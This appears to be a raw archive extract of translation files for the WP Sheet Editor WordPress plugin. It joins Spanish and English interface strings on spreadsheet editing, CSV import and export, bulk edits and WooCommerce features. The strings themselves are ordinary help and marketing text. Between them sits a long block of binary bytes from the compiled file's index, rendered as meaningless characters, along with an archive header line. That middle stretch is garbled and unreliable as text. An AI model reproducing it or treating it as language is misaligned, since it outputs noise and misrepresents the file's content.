                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_EC.mo000064400000640304147600365160016657 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
